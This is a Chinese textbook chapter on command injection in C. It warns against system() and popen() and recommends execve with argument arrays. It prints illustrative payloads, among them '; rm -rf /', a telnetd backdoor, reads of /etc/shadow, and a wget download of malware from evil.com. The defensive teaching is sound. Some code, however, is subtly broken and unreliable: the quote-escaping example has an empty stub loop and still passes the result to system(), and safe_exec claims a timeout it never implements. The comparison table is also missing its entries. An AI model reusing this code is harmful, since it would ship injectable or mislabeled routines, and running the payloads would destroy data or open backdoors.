第18章:命令行注入:system()、popen()、exec族函数的安全使用

说实话,命令行注入这个问题,我见过太多人栽跟头了。

你想想看,我们写C程序时,经常需要调用外部命令。比如执行个系统脚本、启动个进程、或者处理个文件。这时候system()popen()exec族函数就派上用场了。但问题也恰恰出在这里——这些函数如果使用不当,就是给攻击者开了一扇后门。

18.1 危险的system()函数

system()函数,说白了就是帮你启动一个shell,然后执行你传进去的命令字符串。它的原型很简单:

int system(const char *command);

但简单背后藏着大坑。我举个例子你就明白了:

// 危险!千万别这么写
char cmd[256];
sprintf(cmd, "ls -l %s", user_input);
system(cmd);

如果用户输入的是 ; rm -rf / 呢?那实际执行的命令就变成了:

ls -l ; rm -rf /

嗯,后果你自己想。

⚠️ 核心问题: system()会调用/bin/sh来解析命令字符串。shell会解释所有元字符,包括分号、管道、重定向、反引号、$()等。这意味着任何未经过滤的用户输入都可能改变命令的语义。

我在项目中遇到过这样一个案例:一个嵌入式设备的管理界面,用system()来重启网络服务。开发人员觉得用户输入的接口名不会有什么问题,结果有人输入了 eth0; telnetd -l /bin/sh,直接开了个后门。嗯,那次事故让我养成了一个习惯——能用别的方式就别用system()。

18.2 popen()同样不省心

popen()函数和system()本质上是同一类问题:

FILE *popen(const char *command, const char *type);

它也会启动一个shell来执行命令。所以,同样的注入风险依然存在。

// 危险的popen用法
char buf[128];
snprintf(buf, sizeof(buf), "grep %s /var/log/syslog", user_input);
FILE *fp = popen(buf, "r");

如果用户输入 root,那没问题。但如果输入 root; cat /etc/shadow 呢?

💡 我的建议: 除非你完全控制命令字符串(没有任何用户输入拼接),否则不要使用system()和popen()。我个人习惯是,只要涉及外部输入,一律走exec族函数。

18.3 exec族函数:更安全的替代方案

exec族函数包括execlexeclpexecleexecvexecvpexecvpe。它们和system()最大的区别是什么?

exec族函数不调用shell。 它们直接加载可执行文件,把参数作为独立的字符串数组传进去。shell元字符在这里就是普通字符,没有任何特殊含义。

// 安全的execv用法
char *args[] = {"ls", "-l", user_input, NULL};
execv("/bin/ls", args);

就算user_input是 ; rm -rf /,execv也会把它当作一个文件名参数传给ls。ls会尝试列出名为 ; rm -rf / 的文件,而不是执行删除操作。

为什么会这样?因为execv直接把参数列表传给内核,中间没有shell解释器。说白了,就是绕过了那个最危险的环节。

18.4 execve:我最推荐的方案

在所有exec族函数中,我个人最推荐execve()。为什么?因为它让你能完全控制环境变量:

int execve(const char *pathname, char *const argv[], char *const envp[]);

你可以自己构建一个干净的环境,避免继承父进程中的危险变量(比如PATH、LD_PRELOAD等)。

// 安全的execve用法
char *args[] = {"ls", "-l", user_input, NULL};
char *env[] = {"PATH=/usr/bin", "HOME=/tmp", NULL};

execve("/bin/ls", args, env);
🔑 关键区别:
函数 是否调用shell 注入风险 环境控制
system()
popen()
execv/execve 有(execve)

18.5 如果必须用system(),怎么转义?

有些场景下,你确实绕不开system()。比如需要用到shell的通配符展开、管道组合等。这时候,你必须对用户输入做严格的shell元字符转义。

shell元字符包括:; & | ` $ ( ) { } [ ] < > ? * ! # ~ % 以及空格、制表符、换行符等。

转义的方法有两种:

  1. 用反斜杠转义:在每个元字符前加\
  2. 用单引号包裹:单引号内的所有字符都失去特殊含义

我个人更推荐单引号方式,因为反斜杠转义容易遗漏:

// 单引号转义示例
char safe_input[256];
char *p, *q;

// 将用户输入中的单引号替换为'\''序列
// 然后用单引号包裹整个字符串
snprintf(safe_input, sizeof(safe_input), "'%s'", user_input);

// 替换safe_input中的每个单引号为'\''
for (p = safe_input, q = safe_input; *p; p++) {
    if (*p == '\'') {
        // 替换为'\''
        // 注意:这里需要处理缓冲区溢出
    }
}

char cmd[512];
snprintf(cmd, sizeof(cmd), "ls -l %s", safe_input);
system(cmd);
⚠️ 注意: 转义不是万能的。有些场景下,即使转义了,攻击者仍可能利用其他漏洞。我曾经见过一个案例,开发人员转义了所有元字符,但没考虑参数长度导致的缓冲区溢出。嗯,安全是个系统工程。

18.6 实战建议:用execve替代system

说了这么多,我总结一下我的实战经验:

  • 能用execve,就别用system()。这是最根本的解决方案。
  • 如果必须用system(),确保用户输入经过严格的转义和校验。
  • 永远不要拼接用户输入到命令字符串中。用参数数组的方式传递。
  • 设置最小权限:即使被攻破,也要让攻击者做不了什么。

下面是我在实际项目中常用的一个安全封装:

// 安全的命令执行封装
int safe_exec(const char *path, char *const args[], int timeout_sec) {
    pid_t pid = fork();
    if (pid == 0) {
        // 子进程
        // 设置干净的环境
        char *env[] = {"PATH=/usr/bin:/bin", NULL};
        execve(path, args, env);
        // 如果execve失败
        _exit(127);
    } else if (pid > 0) {
        // 父进程,等待子进程结束
        int status;
        waitpid(pid, &status, 0);
        return WEXITSTATUS(status);
    }
    return -1;
}

你看,这样既避免了shell注入,又控制了环境变量,还加了超时机制。嗯,这才是我认为的"安全使用"。

18.7 知识体系总览

我把这一章的核心逻辑画成了图,方便你理解:

命令行注入安全防护决策树 需要调用外部命令 是否必须使用shell特性? 是 → 使用system/popen 否 → 使用exec族函数 必须对输入做shell元字符转义 ⚠️ 仍有风险,尽量规避 推荐使用execve,控制环境变量 ✅ 安全,无shell注入风险 核心原则:避免shell解释,用参数数组传递输入

18.8 避坑指南

最后,分享几个我踩过的坑:

📌 我曾经... 在一个监控系统中用system()执行ping命令,觉得把IP地址做一下正则校验就安全了。结果攻击者传入了 127.0.0.1; wget http://evil.com/malware -O /tmp/backdoor。正则只检查了IP格式,没过滤分号。嗯,从那以后我再也不信任正则过滤了。
📌 我还遇到过... 一个同事用popen()读取命令输出,拼接用户输入时用了snprintf,觉得长度限制了就安全。但攻击者传入了 $(cat /etc/shadow),shell执行了命令替换。所以我说,只要经过shell,就没有绝对的安全。

说白了,命令行注入的根因就一个:用户输入被当作代码执行了。解决思路也很简单:让用户输入永远是数据,不是代码。execve就是最好的实践。

记住:安全不是加一堆过滤函数,而是从架构上消除风险。用execve替代system,就是架构层面的安全设计。